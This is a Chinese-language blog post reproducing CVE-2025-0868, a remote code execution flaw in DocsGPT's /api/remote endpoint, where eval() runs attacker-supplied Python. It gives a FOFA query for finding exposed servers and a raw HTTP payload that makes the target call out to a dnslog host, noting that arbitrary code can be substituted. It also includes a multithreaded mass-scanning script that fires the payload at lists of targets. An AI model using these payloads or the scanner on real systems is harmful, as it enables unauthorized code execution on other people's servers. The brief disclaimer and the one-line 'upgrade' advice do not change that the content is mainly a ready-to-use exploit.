当前位置: 首页 > ai >正文

DocsGPT 远程命令执行漏洞复现(CVE-2025-0868)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

前言:

我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。

更多详情:

https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

0x01 产品描述:

        DocsGPT是一款基于大语言模型的开源文档智能问答工具,通过整合GPT系列模型(如GPT-3.5、Falcon和Llama2优化版本)Meta的Faiss相似性搜索库及LangChain框架,支持用户以自然语言对话形式快速查询TXT/PDF/MD/RST/ZIP等多格式文档内容。该系统提供网页端、本地化部署和Chrome插件三种使用方式,允许企业私有化部署知识库并实现离线问答服务,尤其适用于技术文档管理、智能客服等场景,其开源特性还支持用户自定义模型和提示词模板以增强安全性与灵活性。
0x02 漏洞描述:

        DocsGPT 中存在导致远程代码执行 (RCE) 的漏洞。由于使用 eval() 对 JSON 数据进行解析不当,未经授权的攻击者可发送任意 Python 代码以通过 /api/remote 端点执行。 

0x03 影响版本:

0.8.1 <DocsGPT< 0.12.0
0x04 搜索语句:

Fofa:body="Welcome to DocsGPT"


0x05 漏洞复现:

POST /api/remote HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Content-Length: 232user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://111.9io46y.dnslog.cn/')}#":11}

这里dns地址可以替换为远程任意可执行代码

 

0x06 批量检测脚本:

批量检测:
python poc.py -f url.txt -p payload
单个检测:
python poc.py -u your-ip -p payload
import argparse
import requests
from urllib.parse import quote, urlparse, urlunparse
from concurrent.futures import ThreadPoolExecutorrequests.packages.urllib3.disable_warnings()def normalize_url(raw_url):if not raw_url.startswith(('http://', 'https://')):raw_url = f'http://{raw_url}'parsed = urlparse(raw_url)return urlunparse((parsed.scheme,parsed.netloc,'/api/remote','', '', ''))def build_form_data(dnslog_url):payload_json = ('{{"source":"reddit",''"client_id":"1111",''"client_secret":1111,''"user_agent":"111",''"search_queries":[""],''"number_posts":10,''"rce\\\\":__import__(\\\'requests\\\').get(\\\'{dns}\\\')}}#":1}}').format(dns=dnslog_url)return f'user=1&source=reddit&name=other&data={quote(payload_json)}'def check_vulnerability(target, form_data, timeout=15, debug=False):try:final_url = normalize_url(target)headers = {"Host": urlparse(final_url).netloc,"Content-Type": "application/x-www-form-urlencoded"}if debug:print(f"\n[DEBUG] 完整请求URL: {final_url}")print(f"[DEBUG] 请求头: {headers}")print(f"[DEBUG] 请求体原始数据:\n{form_data}")response = requests.post(final_url,headers=headers,data=form_data,timeout=timeout,verify=False)if debug:print(f"[DEBUG] 响应状态码: {response.status_code}")print(f"[DEBUG] 响应体前200字符:\n{response.text[:200]}")return response.status_code == 200 and '"status":"ok"' in response.text.replace(' ', '')except Exception as e:if debug:print(f"[DEBUG] 异常信息: {str(e)}")return Falsedef main():parser = argparse.ArgumentParser(description="DocsGPT远程命令执行检测工具")group = parser.add_mutually_exclusive_group(required=True)group.add_argument("-u", "--url", help="单个检测目标")group.add_argument("-f", "--file", help="批量检测文件路径")parser.add_argument("-p", "--payload", required=True, help="DNSLog监控地址")parser.add_argument("-t", "--timeout", type=int, default=15, help="请求超时时间(秒)")parser.add_argument("--debug", action="store_true", help="启用调试模式")args = parser.parse_args()form_data = build_form_data(args.payload.strip())# 处理目标列表targets = []if args.url:targets.append(args.url)elif args.file:with open(args.file, 'r') as f:targets = [line.strip() for line in f if line.strip()]print(f"[*] 开始扫描 {len(targets)} 个目标")with ThreadPoolExecutor(max_workers=20) as executor:for target in targets:executor.submit(lambda t: print(f"\033[1;32m[+] 漏洞确认: {t}\033[0m" if check_vulnerability(t, form_data, args.timeout, args.debug) else f"[-] 目标安全: {t}"),target)if __name__ == "__main__":main()

 


0x07 修复建议:

尽快升级至安全版本

http://www.xdnf.cn/news/5567.html

相关文章:

  • 【ASR学习笔记】:语音识别领域基本术语
  • 链表面试题6之回文结构
  • OpenCVCUDA 模块中在 GPU 上对图像或矩阵进行 边界填充(padding)函数copyMakeBorder()
  • -MAC桢-
  • Qt中解决UI线程阻塞导致弹窗无法显示的两种方法
  • Linux复习笔记(三) 网络服务配置(web)
  • Flask如何读取配置信息
  • FFmpeg 项目中的三大核心工具详解
  • 【HarmonyOS 5】鸿蒙App Linking详解
  • 【Web/HarmonyOS】采用ArkTS+Web组件开发网页嵌套的全屏应用
  • labview硬件采集卡驱动安装
  • Spark目前支持的部署模式。
  • 【ZYNQ Linux移植】5-根文件系统移植
  • C++匿名函数
  • Babylon.js学习之路《三、创建你的第一个 3D 场景:立方体、球体与平面》
  • MyBatis 动态 SQL 核心标签教程:_if_, _where_, _foreach_
  • 第六节第一部分:认识抽象类及其好处
  • 字节高效图像定制生成模型框架:DreamO论文速读
  • 【数据结构】map_set前传:二叉搜索树(C++)
  • Window、CentOs、Ubuntu 安装 docker
  • 学习黑客5 分钟深入浅出理解Windows System Configuration
  • 【免费】2005-2018年各省人均财政收支数据
  • Qt for Android申请允许管理所有文件权限
  • n8n 修改或者智能体用文档知识库创建pdf
  • SSRF相关
  • 单片机ESP32天气日历闹铃语音播报
  • 《Python星球日记》 第66天:序列建模与语言模型
  • 【类拷贝文件的运用】
  • Kubernetes控制平面组件:Kubelet 之 Static 静态 Pod
  • 添加购物车-02.代码开发